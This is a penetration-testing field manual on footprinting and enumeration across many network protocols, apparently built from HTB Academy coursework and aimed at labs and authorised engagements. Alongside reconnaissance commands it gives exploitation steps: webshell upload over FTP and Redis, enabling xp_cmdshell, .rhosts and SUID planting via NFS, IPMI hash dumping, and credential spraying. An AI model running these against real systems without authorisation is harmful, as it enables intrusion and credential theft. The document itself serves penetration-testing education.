

```
root@kali:~$ cat module.txt
```

FOOTPRINTING

FIELD MANUAL

Enumeration Methodology · Host-Based Enumeration (All Core Protocols)
Infrastructure-Based Enumeration · Real-World Exploitation Tricks

MODULE	HTB Academy – Footprinting
FOCUS	Active & Passive Reconnaissance
SCOPE	Host-Based + Infrastructure-Based Enumeration
TIER	Penetration Tester / Bug Bounty / CTF
FORMAT	Field reference – commands, output triage, pivots

[+] Enumeration is iterative: every finding spawns new targets. Loop until you stop finding new things.

TABLE OF CONTENTS

- | | |
|----|---|
| 01 | Footprinting Fundamentals
What it is, why it matters, rules of engagement |
| 02 | Enumeration Methodology
The repeatable loop: discover → enumerate → pivot |
| 03 | Host-Based Enumeration I
FTP · SSH · DNS · SMTP |
| 04 | Host-Based Enumeration II
HTTP/HTTPS · SMB · NFS · RPC |
| 05 | Host-Based Enumeration III
LDAP · SNMP · MySQL · MSSQL · Oracle TNS |
| 06 | Host-Based Enumeration IV
RDP · WinRM · Rsync · R-services · IPMI · Redis · POP3/IMAP |
| 07 | Infrastructure-Based Enumeration
DNS infra, WHOIS/ASN, subdomains, vhosts, cloud, CDN |
| 08 | Cross-Protocol Trick Index
Quick-reference: finding → what it unlocks |
| 09 | Enumeration Checklist
Printable run-through for engagements & CTFs |

CH.01

FOOTPRINTING FUNDAMENTALS

Reconnaissance is where every assessment is won or lost

// What footprinting actually is

Footprinting is the systematic collection of information about a target organization, network, host, or application – without (in the passive phase) ever touching it directly. It answers one question over and over: *what is actually here, and what does that imply?* Everything that follows in an assessment – exploitation, lateral movement, privilege escalation – is downstream of how thorough this phase was.

// Passive vs. active

- > **Passive footprinting** – gathering data without sending packets to the target: WHOIS, DNS history, search engine dorking, certificate transparency logs, job postings, social media, public code repos, cached pages, breach databases. Zero detection risk.
 - > **Active footprinting** – direct interaction: port scans, service banner grabs, zone transfer attempts, vhost brute-forcing, SNMP walks. Generates logs/alerts on the target side, so scope and rules of engagement matter.
-

// Why this phase gets underrated

Most failed engagements and CTF boxes aren't lost to missing 0-days – they're lost to skipped enumeration. A misconfigured share, a default SNMP community string, a forgotten subdomain pointing at a staging environment: these are footprinting wins, not exploit-dev wins. Treat every open port as a question, not a checkbox.

RULES OF ENGAGEMENT

Only run active enumeration against systems you are explicitly authorized to test – your own lab, an HTB/CTF target, or a system covered by a signed scope document. Passive OSINT techniques should still respect platform terms of service.

// The footprinting mindset

- > Every service has a version – every version has a changelog, and changelogs leak bugs.
- > Every open port implies an admin who set it up – and admins reuse patterns (creds, naming, paths).
- > Default configs are the norm, not the exception – always test defaults first.
- > One discovery should always generate the next target list, not close the loop.

CH.02

ENUMERATION METHODOLOGY

The repeatable loop that scales from one host to a whole org

// The core loop

HTB's Footprinting module frames enumeration as a cycle, not a checklist. Run it per host, then again at the infrastructure level once you have more than one host:

1. **DISCOVER** – Find what's alive and listening. Host discovery, port scanning, service/version detection.
2. **ENUMERATE** – For every open port, pull everything that protocol will give up for free: banners, anonymous access, default creds, metadata, listings, shares.
3. **ANALYZE** – Cross-reference versions against known CVEs, default-config weaknesses, and credential reuse.
4. **PIVOT** – Every finding (a username, a hostname, a share path, a tech stack) becomes a new input back into step 1 – new subdomains to resolve, new wordlists to build, new credentials to spray.
5. **DOCUMENT** – Log everything as you go – IPs, ports, versions, creds, screenshots. You will need it later and re-doing recon under time pressure is how engagements run over.

// Standard scanning sequence

```
# 1. Host discovery across a range
nmap -sn 10.10.10.0/24
# 2. Fast full TCP port sweep (find everything open first)
nmap -p- --min-rate=5000 -T4 10.10.10.15 -oN ports.txt
# 3. Targeted service/version scan against discovered ports only
nmap -sC -sV -p21,22,25,53,80,443,445,3389 10.10.10.15 -oN services.txt
# 4. UDP sweep on common UDP services (often skipped – don't skip it)
nmap -sU --top-ports 25 10.10.10.15
```

[!] TRICK – UDP is where defenders forget to look

SNMP (161), DNS (53), TFTP (69) and NTP (123) all run over UDP and are routinely left out of default scans. An open SNMP with the default 'public' community string can leak an entire routing table, running processes, and sometimes credentials – for free.

// OSINT before you scan

- > WHOIS / RDAP lookups – registrant org, name servers, registration dates.

- > Certificate Transparency logs (crt.sh) – every subdomain that's ever had a cert issued.
- > Search engine dorking (site:, filetype:, intitle:) – exposed docs, login portals, error pages.
- > Job postings & LinkedIn – reveal internal tech stack ("5 yrs experience administering Exchange 2016").
- > Public code repos – leaked internal hostnames, API keys, config files, CI/CD pipeline definitions.
- > Breach databases / paste sites – reused credentials tied to corporate email domains.

// Build a target matrix as you go

Maintain a living table of host → open ports → service/version → notes → credentials found. It becomes your map for the pivot phase and prevents re-scanning the same host twice.

Host	Port/Proto	Service	Notes / Findings
10.10.10.15	21/tcp	vsftpd 3.0.3	Anonymous login allowed
10.10.10.15	445/tcp	Samba 4.6.2	Null session lists 3 shares
10.10.10.15	3306/tcp	MySQL 5.7	Remote root, no password set

CH.03

HOST-BASED ENUMERATION I

FTP · SSH · DNS · SMTP

21/tcp FTP – FILE TRANSFER PROTOCOL

- > Always test anonymous login first – username 'anonymous', any password (or blank).
- > Check whether the server allows uploads – a writable FTP root reachable from a web root is instant RCE.
- > Grab the banner – vsftpd, ProFTPD, FileZilla Server versions all map to known CVEs (e.g. vsftpd 2.3.4 backdoor).

```
ftp 10.10.10.15
Name: anonymous
Password:
ftp> ls -la
ftp> get interesting_file.txt
# Or non-interactively:
wget -m ftp://anonymous:anonymous@10.10.10.15
# Banner grab manually
nc -nv 10.10.10.15 21
```

[!] TRICK – Anonymous FTP root = web root

If FTP and HTTP are both open and anonymous FTP write access is enabled, check whether the FTP root maps to the website's document root. Uploading a webshell over FTP and triggering it over HTTP is one of the oldest and still-common chains in HTB and real engagements.

22/tcp SSH – SECURE SHELL

- > Banner reveals OS distro and OpenSSH version – fingerprint the box without authenticating.
- > Check supported auth methods – password auth enabled is a spray target; key-only narrows your options.
- > Old OpenSSH versions (<7.7) can leak valid usernames via timing/response differences (CVE-2018-15473).

```
nc -nv 10.10.10.15 22
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
# Check accepted auth methods
ssh -v user@10.10.10.15
# Username enumeration on vulnerable OpenSSH builds
python3 ssh-user-enum.py --userList users.txt --port 22 10.10.10.15
```

[!] TRICK – Version pins the host's age

The Ubuntu/Debian suffix in the SSH banner (e.g. 'Ubuntu-4ubuntu0.3') tells you the underlying distro release even with no other ports open – useful for picking the right exploit and privesc checklist later (GTF0Bins, kernel exploits) before you've even logged in.

53/tcp+udp DNS – DOMAIN NAME SYSTEM

- > Always attempt a zone transfer (AXFR) against every name server you find – still misconfigured constantly.
- > Enumerate record types individually: A, AAAA, MX, TXT, NS, SOA, SRV, CNAME – TXT records leak SPF/DKIM domains, verification tokens, and sometimes internal hostnames.
- > SRV records reveal internal service topology in AD environments (_ldap._tcp, _kerberos._tcp).

```
# Attempt a zone transfer
dig axfr @ns1.target.com target.com
# Pull every common record type
for t in A AAAA MX TXT NS SOA SRV CNAME; do dig $t target.com +short; done
# AD-specific SRV enumeration
dig _ldap._tcp.dc._msdcs.target.com SRV
dig _kerberos._tcp.target.com SRV
# Brute-force subdomains against the authoritative NS
dnsenum --dnsserver ns1.target.com -f subdomains.txt target.com
```

[!] TRICK – A successful AXFR is game over for recon

A working zone transfer hands you the entire internal naming scheme in one request – every subdomain, mail server, and often internal-only hosts that were never meant to be public. Always try it before brute-forcing subdomains; it's faster and silent-ish in comparison.

25/tcp SMTP – MAIL TRANSFER

- > VRFY and EXPN commands can confirm valid usernames even with no authentication – many servers leave these on.
- > Check for open relay – a misconfigured MTA that lets you send mail through it to anywhere, useful for phishing-pretext or proving impact in a report.
- > Banner often reveals the MTA (Postfix, Exim, Exchange) and version.

```
nc -nv 10.10.10.15 25
VRFY root
VRFY nonexistentuser123
# -> compare responses: 250 vs 550 confirms valid accounts
# Automate username enumeration via VRFY/EXPN/RCPT
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.15
# Open relay test
swaks --to test@external.com --from spoof@target.com --server 10.10.10.15
```

[!] TRICK – VRFY responses build your password-spray list

Every confirmed valid username from SMTP VRFY/EXPN feeds directly into spraying against SSH, RDP, OWA, or VPN portals later. Don't treat SMTP as 'just mail' – it's often the cheapest username-enumeration oracle on the whole network.

CH.04

HOST-BASED ENUMERATION II

HTTP/HTTPS · SMB · NFS · RPC

80/443

HTTP / HTTPS – WEB SERVICES

- > Headers first – Server, X-Powered-By, cookies – fingerprint stack before crawling anything.
- > robots.txt and sitemap.xml – both explicitly list paths admins want hidden.
- > Directory/file brute-forcing with a tuned wordlist for the detected tech stack.
- > Virtual host enumeration – the IP may serve completely different sites by Host header.
- > TLS certificate Subject Alternative Names – frequently lists internal/staging hostnames.
- > Check default/known paths – /admin, /phpmyadmin, /.git, /.env, /wp-admin, /server-status.

```
# Headers + tech fingerprint
curl -I http://10.10.10.15
whatweb http://10.10.10.15
# robots.txt / sitemap
curl http://10.10.10.15/robots.txt
# Directory & file brute force
gobuster dir -u http://10.10.10.15 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
# Virtual host brute force
gobuster vhost -u http://10.10.10.15 -w subdomains.txt --append-domain
# Pull SANs from the TLS cert
echo | openssl s_client -connect 10.10.10.15:443 2>/dev/null | openssl x509 -noout -text | grep DNS
```

[!] TRICK – /.git exposed = full source disclosure

If a directory brute force turns up an exposed .git folder, you can often clone the entire repository history with tools like git-dumper – frequently recovering old commits that still contain hardcoded credentials or API keys removed from the current HEAD.

[!] TRICK – Vhost discovery multiplies your attack surface

A single IP can host a dozen virtual sites – staging.target.com, dev.target.com, old.target.com – each running different (often less patched) code than the production site you started with. Always vhost-fuzz once you've confirmed the IP serves a default page.

139/445

SMB – WINDOWS FILE SHARING

- > Null sessions (no credentials) frequently still list shares, users, and password policy on older/misconfigured hosts.
- > Enumerate share permissions – READ on a 'Backups' or 'IT' share is a goldmine.
- > OS and SMB dialect version from the banner narrows down the EternalBlue/Zerologon-class exposure quickly.

```
# Quick share + OS enumeration
smbclient -L //10.10.10.15/ -N
smbmap -H 10.10.10.15 -u null
# Full enum: users, shares, policy, OS
enum4linux -a 10.10.10.15
# Connect to a discovered share anonymously
smbclient //10.10.10.15/Backups -N
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
```

[!] TRICK – Readable shares leak credentials in plaintext

Backup shares, IT shares, and 'Public' drives routinely contain unattend.xml, web.config, PowerShell scripts, or Group Policy Preferences XML with embedded (often reversible) credentials. Always pull and grep recursively before moving on – this is a top initial-foothold path.

2049 NFS – NETWORK FILE SYSTEM

- > List exports first – many are world-readable or even world-writable with no_root_squash.
- > no_root_squash on a writable export lets you plant a SUID binary as root from your attacking box.
- > Mounted exports often contain home directories – check for private SSH keys.

```
showmount -e 10.10.10.15
mkdir /mnt/nfs && mount -t nfs 10.10.10.15:/export /mnt/nfs -o nolock
ls -la /mnt/nfs
# Look for SSH keys / configs left in home dirs
find /mnt/nfs -name 'id_rsa*' -o -name '*.bak' -o -name '*.conf'
```

[!] TRICK – no_root_squash = root via a SUID binary

If an export shows no_root_squash and is writable, drop a SUID-root binary or bash copy from your attack box (where you control root), then execute it from a low-priv shell on the target – instant privilege escalation, no exploit required.

135/111 RPC – REMOTE PROCEDURE CALL (MS-RPC / Portmapper)

- > MSRPC (135) endpoint mapper reveals which dynamic high ports are actually serving named pipes/services.
- > rpcinfo against Unix portmapper (111) lists every registered RPC program – including NFS, NIS.

> Combine with SMB null sessions for full domain user/group enumeration via the SAMR/LSARPC interfaces.

```
rpcinfo -p 10.10.10.15
rpcclient -U '' -N 10.10.10.15
rpcclient $> enumdomusers
rpcclient $> querydomaininfo
```

CH.05

HOST-BASED ENUMERATION III

LDAP · SNMP · MySQL · MSSQL · Oracle TNS

389/636 LDAP – DIRECTORY SERVICES (incl. LDAPS)

- > Anonymous bind (no creds) is still common on misconfigured Active Directory and OpenLDAP servers.
- > A successful anonymous bind can dump the entire directory: users, groups, OU structure, and sometimes password policy or even pwdLastSet attributes.
- > Look for 'description' fields on user objects – admins love writing temp passwords there.

```
# Anonymous bind test + base search
ldapsearch -x -H ldap://10.10.10.15 -b "dc=target,dc=com"
# Pull just usernames
ldapsearch -x -H ldap://10.10.10.15 -b "dc=target,dc=com" "(objectClass=person)" sAMAccountName
# Grep for creds left in description fields
ldapsearch -x -H ldap://10.10.10.15 -b "dc=target,dc=com" | grep -i description
```

[!] TRICK – Description fields are a recurring credential leak

It's a remarkably common sysadmin habit to store a temporary or default password in a user's LDAP 'description' attribute as a reminder. Anonymous LDAP enumeration that pulls this field has cracked more than a few real engagements and HTB boxes outright.

161/udp SNMP – SIMPLE NETWORK MANAGEMENT PROTOCOL

- > Always test default community strings first: 'public' (read-only), 'private' (read-write).
- > A readable SNMP MIB walk can dump running processes, installed software, network interfaces, routing tables, and sometimes ARP tables revealing other internal hosts.
- > Write access ('private' working) on network gear can mean full device reconfiguration.

```
# Brute force community strings
onesixtyone -c community-strings.txt 10.10.10.15
# Full walk with default 'public' string
snmpwalk -v2c -c public 10.10.10.15
# Pull specific high-value OIDs: running processes, software
snmpwalk -v2c -c public 10.10.10.15 1.3.6.1.2.1.25.4.2.1.2
```

[!] TRICK – SNMP often reveals what nmap missed

A full SNMP walk can list installed software versions and running services that weren't even bound to externally reachable ports – giving you a vulnerability roadmap without touching those internal-only services directly.

3306 MySQL

- > Always test root with no password and root:root/root:toor – still found regularly on dev/CTF boxes.
- > Once in, check for the FILE privilege – lets you read and sometimes write arbitrary files on the host.
- > Enumerate users and their authentication plugin – old mysql_native_password hashes are crackable.

```
mysql -h 10.10.10.15 -u root
mysql -h 10.10.10.15 -u root -p''
# Once authenticated
SHOW DATABASES;
SELECT user,authentication_string FROM mysql.user;
SELECT LOAD_FILE('/etc/passwd');
```

[!] TRICK – FILE privilege turns DB access into file read/write

A MySQL account with FILE granted can read arbitrary files with LOAD_FILE() or write a webshell into the document root with SELECT ... INTO OUTFILE – turning a 'just a database' foothold straight into RCE if the web root is writable by the MySQL service account.

1433 MSSQL – MICROSOFT SQL SERVER

- > Try sa with blank/default/weak passwords, and Windows-integrated auth where domain creds are known.
- > xp_cmdshell, if enabled (or re-enabled), gives direct OS command execution as the SQL service account.
- > Linked servers can let you pivot from one SQL instance to another, sometimes across trust/domain boundaries.

```
# Connect with impacket
mssqlclient.py sa@10.10.10.15 -windows-auth
# Once connected, enable command execution
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
# Enumerate linked servers for pivoting
SQL> EXEC sp_linkedservers;
```

[!] TRICK – xp_cmdshell is the classic MSSQL-to-shell pivot

If you can authenticate (even as a low-privileged SQL login that can ALTER its own config), re-enabling xp_cmdshell gets you command execution as the SQL Server service account – frequently a domain service account with far more reach than the SQL login itself.

1521 Oracle TNS LISTENER

- > Identify the SID first – required before any authentication attempt against Oracle.
- > Default credential pairs are notoriously common: SYSTEM/manager, SCOTT/tiger, internal/oracle.
- > TNS poison / version-specific listener bugs can leak SIDs or allow remote admin without auth on old versions.

```
# Enumerate the SID
odat sidguesser -s 10.10.10.15
# Brute force default credential pairs against a known SID
odat passwordguesser -s 10.10.10.15 -d XE --accounts-file accounts.txt
# Once authenticated, look for command exec paths
odat all -s 10.10.10.15 -d XE -U scott -P tiger
```

CH.06

HOST-BASED ENUMERATION IV

RDP · WinRM · Rsync · R-services · IPMI · Redis · POP3/IMAP

3389

RDP — REMOTE DESKTOP PROTOCOL

- > Banner/security-layer probing reveals NLA enforcement, which changes your attack approach (spray vs. direct).
- > Pre-auth screenshots are possible on hosts without NLA – confirms what's running without any credentials.
- > Check for known pre-auth RCE generations (BlueKeep-class) tied to the detected build.

```
# Identify NLA / security protocol in use
nmap -p 3389 --script rdp-enum-encryption 10.10.10.15
# Pre-auth screenshot if NLA is disabled
xfreerdp /v:10.10.10.15 /cert:ignore
# Credential spray once usernames are known
crowbar -b rdp -s 10.10.10.15/32 -U users.txt -C passwords.txt
```

[!] TRICK — RDP without NLA leaks a pre-auth screenshot

Disabled Network Level Authentication lets you reach the full login screen – sometimes showing a logged-in session, wallpaper, or username hints in the title bar before you've supplied a single credential.

5985/5986

WinRM — WINDOWS REMOTE MANAGEMENT

- > Open WinRM almost always means remote PowerShell execution is one valid credential pair away.
- > Test any credentials harvested elsewhere (SMB shares, LDAP description fields, KeePass dumps) here first – WinRM access is often more permissive than RDP for the same account.

```
# Test/connect with discovered creds
evil-winrm -i 10.10.10.15 -u administrator -p 'P@ssword123'
# Or via crackmapexec to validate creds across a range quickly
crackmapexec winrm 10.10.10.0/24 -u administrator -p 'P@ssword123'
```

[!] TRICK — WinRM is the credential-reuse finish line

Any credential found anywhere on the network during enumeration – an SMB share, an LDAP description field, a config file off NFS – should be tried against WinRM. It's frequently the single fastest path from 'found a password' to a full interactive shell.

873

RSYNC

- > List available modules first – rsync daemons often expose named shares with no authentication.
- > Treat an open, listable rsync module exactly like an anonymous FTP/SMB share – pull and grep everything.

```
rsync -av --list-only rsync://10.10.10.15/  
rsync -av rsync://10.10.10.15/backup ./loot/
```

[!] TRICK – Rsync modules are an overlooked loot source

Because rsync isn't part of most people's mental 'file share' checklist alongside SMB/NFS/FTP, open modules go unreviewed far more often – and frequently contain full backup archives with configs, databases, or SSH keys inside.

512-514 R-SERVICES (rlogin / rsh / rexec)

- > Legacy trust-based remote login – authentication can be bypassed entirely via .rhosts trust relationships.
- > If you can write to a user's home directory (e.g. via NFS), you can plant a .rhosts file to grant yourself trusted access with zero password.

```
# Check for a trusted-host bypass  
rlogin -l root 10.10.10.15  
# Combine with NFS write access to plant trust  
echo '10.10.14.5 root' > /mnt/nfs/root/.rhosts  
rsh -l root 10.10.10.15
```

623/udp IPMI – INTELLIGENT PLATFORM MGMT INTERFACE

- > IPMI 2.0 has a well-known cipher zero / hash-disclosure flaw that allows offline password cracking of any account, including ADMIN, without prior authentication.
- > IPMI access on a server effectively means out-of-band power control and a virtual console – full control regardless of the host OS's own patch level.

```
# Pull the password hash via the known disclosure vulnerability  
msf6> use auxiliary/scanner/ipmi/ipmi_dumphashes  
msf6> set RHOSTS 10.10.10.15  
msf6> run  
# Crack offline  
hashcat -m 7300 ipmi_hashes.txt rockyou.txt
```

[!] TRICK – IPMI bypasses the OS entirely

Because IPMI runs on a separate management chip (BMC) independent of the host OS, cracking an IPMI hash gives you power-cycle and virtual-console access even if the main OS is fully patched – it's effectively a backdoor built into the hardware.

6379 REDIS

- > Unauthenticated Redis instances are extremely common and allow full key-value read/write by default.
- > Writing a value to a key, then having Redis dump its in-memory DB to a path inside a web root or the user's .ssh directory, is a documented path to RCE / SSH access.

```
redis-cli -h 10.10.10.15
10.10.10.15:6379> CONFIG GET dir
10.10.10.15:6379> CONFIG SET dir /var/www/html
10.10.10.15:6379> CONFIG SET dbfilename shell.php
10.10.10.15:6379> SET x ""
10.10.10.15:6379> SAVE
```

[!] TRICK – Unauthenticated Redis = webshell via SAVE

Redirecting Redis's RDB save path into a webroot and SAVE-ing a crafted key gives you a webshell with zero credentials. The same technique works against an SSH authorized_keys file if the path is writable, granting key-based SSH login instead.

110/143 POP3 / IMAP – MAIL RETRIEVAL

- > Banner reveals the mail server software/version (Dovecot, Courier).
- > Test discovered username/password combos here – mailbox access frequently reveals further internal info: password reset emails, internal links, other staff usernames.

```
nc -nv 10.10.10.15 110
USER bob
PASS password123
LIST
# IMAP equivalent
curl -k 'imap://10.10.10.15' --user bob:password123
```

CH.07

INFRASTRUCTURE-BASED ENUMERATION

Mapping the organization, not just a single host

// WHOIS / RDAP

Confirms the registered organization, registration/expiry dates, registrar, and – critically – the authoritative name servers, which is your entry point into DNS-based infra enumeration.

```
whois target.com
curl https://rdap.org/domain/target.com
```

// DNS infrastructure mapping

- > Pull NS records to identify every authoritative server – test each independently for zone transfer.
- > MX records reveal the mail provider (self-hosted vs. 0365/Google Workspace) – changes your phishing-pretext and SMTP-enum targeting entirely.
- > TXT records (SPF, DKIM, domain verification) frequently namedrop third-party SaaS tools in use (Salesforce, Atlassian, Zendesk) – each is a separate attack surface to check.

// ASN & IP range discovery

Once you have one confirmed IP, find the ASN that owns it, then pull every netblock registered to that ASN – this is how a single known host becomes a full external attack surface map.

```
# Find the ASN for a known IP
whois -h whois.cymru.com " -v 10.10.10.15"
# Pull all netblocks registered to that ASN
amass intel -asn 14061
# Or via BGP looking-glass services
curl https://api.bgpview.io/asn/14061/prefixes
```

[!] TRICK – ASN pivoting finds the assets nobody remembers

Organizations routinely forget about IP ranges from acquisitions, old hosting providers, or decommissioned offices. Walking the full ASN often surfaces a legacy host running an ancient, unpatched service that was never folded into the modern security program.

// Subdomain enumeration

- > Certificate Transparency logs (crt.sh) are passive, fast, and frequently the highest-yield single source.
- > Combine passive sources (crt.sh, VirusTotal, SecurityTrails) with active brute-forcing for full coverage.
- > Always resolve discovered subdomains – dangling CNAMEs pointing at deprovisioned cloud resources are a subdomain-takeover opportunity.

```
# Passive: certificate transparency
curl -s 'https://crt.sh/?q=%25.target.com&output=json' | jq -r '.[].name_value' | sort -u
# Active brute force + resolution
subfinder -d target.com -o subs.txt
puredns resolve subs.txt -r resolvers.txt -w resolved.txt
# Screenshot everything resolved for fast triage
gowitness file -f resolved.txt
```

[!] TRICK – Dangling CNAMEs enable subdomain takeover

A subdomain CNAME still pointing at a deprovisioned S3 bucket, Azure endpoint, or Heroku/GitHub Pages app can often be claimed by registering that same resource name yourself – letting you serve content under the organization's own trusted domain.

// Virtual host & SNI enumeration

Modern infrastructure puts dozens of sites behind one load balancer IP, distinguished only by the Host header or TLS SNI. Confirming an IP only ever returns a default page does not mean that's all it serves.

```
# Brute force Host headers against a single IP
ffuf -u http://10.10.10.15 -H 'Host: FUZZ.target.com' -w subdomains.txt -fs 1234
```

// Cloud & CDN footprinting

- > S3 bucket / Azure blob / GCS naming conventions are guessable from the org name – always check for open-listing or public-read buckets tied to brand names and product names.
- > CDN-fronted sites (Cloudflare, Akamai) hide the true origin IP – check historical DNS (SecurityTrails, ViewDNS), mail server IPs, and SSL cert reuse across non-CDN'd subdomains to find the real origin.
- > Cloud metadata endpoints (169.254.169.254) become relevant later if you land inside an SSRF-capable app.

```
# Common bucket naming patterns to test
for n in target target-backup target-prod target-dev target-assets; do
  aws s3 ls s3://$n --no-sign-request
done
# Find origin IP behind a CDN via historical DNS / cert reuse
curl -s 'https://api.securitytrails.com/v1/history/target.com/dns/a' -H 'apikey: KEY'
```

[!] TRICK – Open S3 buckets are still a top real-world finding

A publicly listable bucket named after the brand frequently contains backups, internal documents, or even infrastructure-as-code with embedded secrets – and it requires zero interaction with the actual target network to discover.

CH.08

CROSS-PROTOCOL TRICK INDEX

Quick reference – what a finding unlocks next

This table is the pivot cheat-sheet: when you find X during enumeration, this is what to try next and why it matters.

Enumeration finding	What it unlocks
Anonymous FTP + writable root shared w/ web root	Upload webshell over FTP, trigger via HTTP – instant RCE
Open AXFR zone transfer	Full internal naming map – feed every host straight back into port scanning
SNMP 'public' community string	Dump processes, routes, ARP table – finds hosts nmap never saw
SMB null session listing shares	Pull Group Policy Preferences / unattend.xml for embedded creds
NFS export with no_root_squash + writable	Plant a SUID binary as root from attacker box – instant privesc
LDAP anonymous bind	Grep 'description' attribute on user objects for stored passwords
MySQL root with no password	Check FILE privilege – LOAD_FILE() or INTO OUTFILE for file read/RCE
MSSQL login of any privilege	Re-enable xp_cmdshell – OS command exec as the SQL service account
Unauthenticated Redis	Rewrite RDB save path into authorized_keys or webroot – SSH or webshell
IPMI 2.0 reachable	Cipher-zero hash dump – crack offline for out-of-band BMC console access
Credential found anywhere (file, share, LDAP)	Spray immediately against SSH, WinRM, RDP, SMB, and any web login
Dangling subdomain CNAME	Claim the deprovisioned cloud resource – subdomain takeover under trusted domain
.git directory exposed on web root	Dump full commit history – old commits often still hold live secrets
VERFY/EXPN confirms valid SMTP usernames	Build a verified username list for password spraying everywhere else
rsync module listable with no auth	Pull full backup archives – frequently contain DB dumps or SSH keys

THE GENERAL PATTERN

Almost every trick above follows the same shape: a service trusts something it shouldn't (anonymous access, a default credential, a writable path) and that trust crosses a boundary into another system (the web root, the OS shell, another host's trust file). When enumerating, always ask: 'what does this service write to, and who else trusts that location?'

CH.09

ENUMERATION CHECKLIST

Printable run-through for engagements & CTFs

\$ Pre-engagement / OSINT

- ☐ WHOIS + RDAP on primary domain
- ☐ Certificate Transparency search (crt.sh)
- ☐ ASN lookup + full netblock pull
- ☐ Search-engine dorking for exposed docs/portals
- ☐ Job postings / LinkedIn for tech-stack hints
- ☐ Breach DB / paste-site search for leaked org credentials

\$ Host discovery & scanning

- ☐ Ping sweep / host discovery across full range
- ☐ Full TCP port sweep (all 65535, not top-1000) per host
- ☐ Targeted -sC -sV scan against discovered ports
- ☐ UDP sweep on common UDP services (53, 69, 123, 161, 623)

\$ Per-host protocol enumeration

- ☐ FTP: anonymous login + write test
- ☐ SSH: banner/version + auth methods
- ☐ DNS: AXFR attempt on every NS + all record types
- ☐ SMTP: VRFY/EXPN + open relay test
- ☐ HTTP/HTTPS: headers, robots.txt, dir brute, vhost brute, TLS SANs
- ☐ SMB: null session, share listing, share content pull
- ☐ NFS: export list, mount, no_root_squash check
- ☐ LDAP: anonymous bind + description field grep
- ☐ SNMP: default community string walk
- ☐ MySQL/MSSQL/Oracle: default & blank credential tests
- ☐ RDP: NLA check, pre-auth screenshot if available
- ☐ WinRM: test every credential found elsewhere

[] Redis/Rsync/R-services/IPMI: anonymous/default access tests

\$ Infrastructure-level

[] Subdomain enumeration (passive + active) on all known domains

[] Resolve every subdomain – flag dangling CNAMEs

[] Vhost brute force against every discovered IP

[] Cloud bucket name brute force against brand/product names

[] CDN origin-IP discovery via historical DNS / cert reuse

\$ Documentation

[] Target matrix updated (host / port / service / version / notes)

[] Every credential found logged with source and scope tested

[] Screenshots saved for anything visual (RDP, web portals)

[] Pivot list maintained – new hosts/subdomains queued for re-loop

```
root@enum:~# echo "recon never stops – it just changes targets"
```